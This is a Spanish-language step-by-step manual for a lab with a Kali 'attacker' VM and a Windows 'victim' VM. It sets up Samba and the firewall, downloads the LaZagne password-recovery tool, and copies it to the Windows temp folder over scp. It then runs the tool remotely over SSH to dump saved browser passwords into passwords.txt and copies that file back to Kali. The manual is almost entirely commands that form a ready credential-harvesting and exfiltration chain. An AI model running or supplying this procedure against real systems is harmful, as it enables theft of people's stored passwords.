**Manual de Instrucciones**

Este manual explica paso a paso cómo configurar el firewall, permitir puertos para Samba, transferir archivos y ejecutar comandos de forma remota entre una máquina virtual Kali Linux (atacante) y una máquina virtual Windows (víctima).

**1. Configuración del Firewall en Kali Linux (UFW)**

El firewall UFW (Uncomplicated Firewall) controla el acceso a puertos y servicios.

**Verificar estado del firewall**

ufw status

**Muestra si está activo o inactivo**.

**Habilitar el firewall**

ufw enable

**Activa el firewall UFW.**

Permitir puertos usados por Samba

**Samba necesita abrir ciertos puertos para compartir carpetas:**

sudo ufw allow 445/tcp

sudo ufw allow 139/tcp

sudo ufw allow 137/udp

sudo ufw allow 138/udp

**Verificar que el servicio Samba está corriendo**

sudo netstat -tulpn | grep smbd

**Esto muestra si smbd está escuchando en los puertos correctos.**

**2. Conexión entre Kali y Windows**

**Probar conexión con SSH al equipo Windows**

ssh hector@192.168.56.102

(Reemplazar 192.168.56.102 por la IP de Windows).

**Comprobar conectividad con PING**

ping -n 4 192.168.56.101

En este ejemplo 192.168.56.101 sería la IP de Kali.

**3. Trabajo con Carpeta Compartida Samba**

Moverse a la carpeta compartida

cd /srv/samba/share

**Descargar un archivo desde GitHub**

wget https://github.com/AlessandroZ/LaZagne/archive/refs/heads/master.zip

**Descomprimir el archivo descargado**

unzip master.zip

**Ver el contenido de la carpeta**

ls -la /srv/samba/share/LaZagne-master/

**4. Transferencia de Archivos con SCP**

Copiar el proyecto descomprimido hacia Windows:

scp -r /srv/samba/share/LaZagne-master hector@192.168.56.102:C:/Windows/Temp/

scp -r copia carpetas completas.

**Se envía a la ruta temporal** C:\Windows\Temp\.

**5. Instalación de Dependencias en Windows vía SSH**

**Ejecutar en Windows remotamente desde Kali:**

ssh hector@192.168.56.102 'python -m pip install pywin32 pyasn1 psutil'

**6. Verificar Usuarios en Windows**

ssh hector@192.168.56.102 'net user hector'

**7. Ejecutar un Script en Windows y Recuperar Resultados**

**Ejecutar el script LaZagne en Windows**

ssh hector@192.168.56.102 'python C:\Windows\Temp\LaZagne-master\Windows\laZagne.py browsers -vv > C:\Windows\Temp\passwords.txt 2>&1'

**Copiar el archivo de resultados a Kali**

scp hector@192.168.56.102:C:/Windows/Temp/passwords.txt /home/kali/recuperacion.txt

**Leer los resultados**

cat /home/kali/recuperacion.txt